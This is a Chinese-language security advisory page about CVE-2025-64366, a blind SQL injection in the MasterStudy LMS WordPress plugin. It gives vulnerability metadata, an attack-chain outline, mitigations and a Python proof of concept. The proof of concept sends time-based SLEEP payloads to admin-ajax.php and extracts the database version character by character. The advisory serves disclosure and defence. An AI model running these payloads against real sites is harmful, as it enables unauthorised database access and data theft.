IPBUF安全漏洞报告
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CVE-2025-64366 CVSS 7.6 高危

CVE-2025-64366 MasterStudy LMS 盲注SQL注入漏洞

披露日期: 2025-10-31

漏洞信息

漏洞编号
CVE-2025-64366
漏洞类型
SQL注入
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
MasterStudy LMS (masterstudy-lms-learning-management-system)

相关标签

SQL注入盲注WordPress插件漏洞MasterStudy LMS数据库安全高危漏洞CVE-2025-64366Patchstack

漏洞概述

CVE-2025-64366是WordPress插件MasterStudy LMS中存在的一个高危安全漏洞,CVSS评分达到7.6分。该漏洞属于SQL注入类型中的盲注(Blind SQL Injection),允许攻击者在未经适当过滤的情况下向SQL命令中注入特殊元素。漏洞存在于masterstudy-lms-learning-management-system插件中,攻击者利用此漏洞可以绕过身份验证和授权机制,对数据库执行未授权的查询操作。由于是盲注类型,攻击者无法直接获取查询结果,但可以通过时间延迟或布尔条件判断来推断数据库内容。该漏洞影响从插件早期版本到3.6.27的所有版本,攻击者需要具备高权限才能成功利用此漏洞。此漏洞由Patchstack安全团队发现并披露,建议受影响的用户立即升级到最新版本以修复此安全问题。

技术细节

该漏洞是典型的SQL盲注漏洞,源于应用程序对用户输入的特殊元素未进行充分的净化处理。在MasterStudy LMS插件的特定功能模块中,攻击者可以通过构造恶意的SQL语句片段,利用应用程序对输入验证不足的缺陷,实现对数据库的非法访问。由于是盲注攻击,攻击者无法直接看到数据库返回的错误信息,而是通过观察应用程序的响应时间(时间盲注)或响应内容的差异(布尔盲注)来推断SQL语句的执行结果。攻击者通常会利用如SLEEP()、BENCHMARK()等函数进行时间延迟,或使用条件语句如IF()来构造布尔表达式。成功利用此漏洞可能导致敏感数据泄露,包括用户凭证、个人信息、业务数据等。攻击者还可能通过UNION SELECT或堆叠查询等技术进一步扩大攻击面,甚至在某些配置下实现远程代码执行。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标WordPress网站并确认是否安装存在漏洞的MasterStudy LMS插件(版本<=3.6.27)
STEP 2
步骤2: 认证获取
攻击者需要获取WordPress的高权限账户(如管理员、编辑或作者角色)以满足漏洞利用的前置条件
STEP 3
步骤3: 构造恶意请求
攻击者构造包含SQL注入payload的HTTP请求,通常在插件的课程管理或用户数据查询接口中注入恶意SQL语句
STEP 4
步骤4: 盲注数据提取
通过时间盲注或布尔盲注技术,利用SLEEP()函数或条件判断逐步提取数据库中的敏感信息,如用户密码哈希、表前缀等
STEP 5
步骤5: 权限提升或数据窃取
基于获取的数据库信息,攻击者可以进一步提升权限、修改内容或窃取大量敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time target = "http://target-wordpress-site.com" # Blind SQL Injection PoC - Time-based # This PoC demonstrates the vulnerability by checking if the response time increases def test_blind_sql_injection(url, param_name, param_value): """ Test for blind SQL injection vulnerability """ headers = { 'User-Agent': 'Mozilla/5.0', 'Content-Type': 'application/x-www-form-urlencoded' } # Original request start_time = time.time() response1 = requests.post(url, data={param_name: param_value}, headers=headers, timeout=30) time1 = time.time() - start_time # Request with SQL sleep command # If vulnerable, this will cause a 5 second delay malicious_value = f"{param_value}' AND SLEEP(5)-- -" start_time = time.time() response2 = requests.post(url, headers=headers, data={param_name: malicious_value}, timeout=60) time2 = time.time() - start_time # If time2 > time1 significantly, vulnerability exists if time2 > time1 + 4: print(f"[+] Blind SQL Injection vulnerability confirmed!") print(f"[+] Original request time: {time1:.2f}s") print(f"[+] Malicious request time: {time2:.2f}s") return True else: print(f"[-] No vulnerability detected") return False # Example exploitation - Extract database version def extract_db_version(url, param_name, param_value): """ Extract database version using blind SQL injection """ for i in range(1, 20): for ascii_val in range(32, 127): payload = f"{param_value}' AND IF(SUBSTRING(@@version, {i}, 1) = CHAR({ascii_val}), SLEEP(3), 1)-- -" start = time.time() response = requests.post(url, data={param_name: payload}, timeout=30) elapsed = time.time() - start if elapsed > 2.5: char = chr(ascii_val) print(f"Character {i}: {char}", end='', flush=True) break print() if __name__ == "__main__": # Replace with actual vulnerable endpoint test_url = f"{target}/wp-admin/admin-ajax.php" test_blind_sql_injection(test_url, "action", "stm_lms_get_user_courses")

影响范围

MasterStudy LMS <= 3.6.27

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 限制具有高权限WordPress账户的数量,并使用强密码和多因素认证;2) 通过Web应用防火墙设置SQL注入检测规则,拦截可疑请求;3) 禁用或限制可疑的管理接口访问;4) 启用数据库查询日志监控,及时发现异常SQL行为;5) 考虑暂时禁用MasterStudy LMS插件的相关功能模块,直到完成安全更新。

参考链接

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